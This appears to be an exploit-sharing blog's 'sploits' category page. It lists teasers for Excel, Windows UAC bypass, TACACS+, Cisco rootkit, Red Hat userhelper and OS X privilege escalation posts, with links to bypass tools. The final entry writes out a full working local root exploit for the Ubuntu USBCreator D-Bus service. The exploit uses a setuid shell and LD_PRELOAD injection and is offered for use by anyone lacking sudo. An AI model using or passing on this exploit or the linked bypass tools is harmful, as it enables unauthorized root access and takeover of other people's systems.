Category: sploits
A new heap memory corruption (Out-of-Bounds Read) that affects Microsoft Office Excel 2007,2010,2013 and 2016. This vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office Excel file (.xlsm). Advisory & POC
The build brings new changes targeting previously exploited dll-hijacking and uac bypass method vulnerabilities. cliconfg.exe – can no longer be used as target for autoelevation as MS changed it manifest to autoelevate=false. mmc.exe – event viewer console fixed, dll hijacking no longer works. fake IIS inetmgr.exe launch from inetsrv appinfo hardcoded directory fixed too – … Read More “Windows 10 RS1 14316” »
Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoors https://github.com/xsysvermin/BypassUAC UPDATE: apparently was ripped from the original https://github.com/hfiref0x/UACME
3 methods to get into Terminal Access Controller Access-Control System Plus (TACACS+) http://agrrrdog.blogspot.ca Here’s some cisco rootkits too 🙂 exploit-db.com
Two security vulnerabilities were found in the userhelper utility, (part of the usermode package) and the libuser library. Authenticated, local users with shell access could combine these vulnerabilities to achieve local privilege escalation to the root user, it lets users change /etc/passwd. These flaws have been assigned CVE-2015-3245 and CVE-2015-3246. Info was released as soon as … Read More “Red Hat userhelper vulnerability” »
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability: Affects OS X Yosemite v.10.10, the latest stable release, and the beta version 10.10.5 , so many people are affected by this. The flaw is the environment variable called DYLD_PRINT_TO_FILE that was added in Yosemite. It specifies where in the file system a component of the operating system called the … Read More “Root Privs on OS X 10.10” »
On Ubuntu and need to escalate to root and don’t have sudo? $ cat > test.c void __attribute__((constructor)) init (void) { chown(“/tmp/test”, 0, 0); chmod(“/tmp/test”, 04755); } ^D $ gcc -shared -fPIC -o /tmp/test.so test.c $ cp /bin/sh /tmp/test $ dbus-send –print-reply –system –dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,”foo”,XAUTHORITY,”foo”,LD_PRELOAD,”/tmp/test.so” method return sender=:1.4364 -> dest=:1.7427 reply_serial=2 $ … Read More “Priv Escalation in Ubuntu USBCreator service” »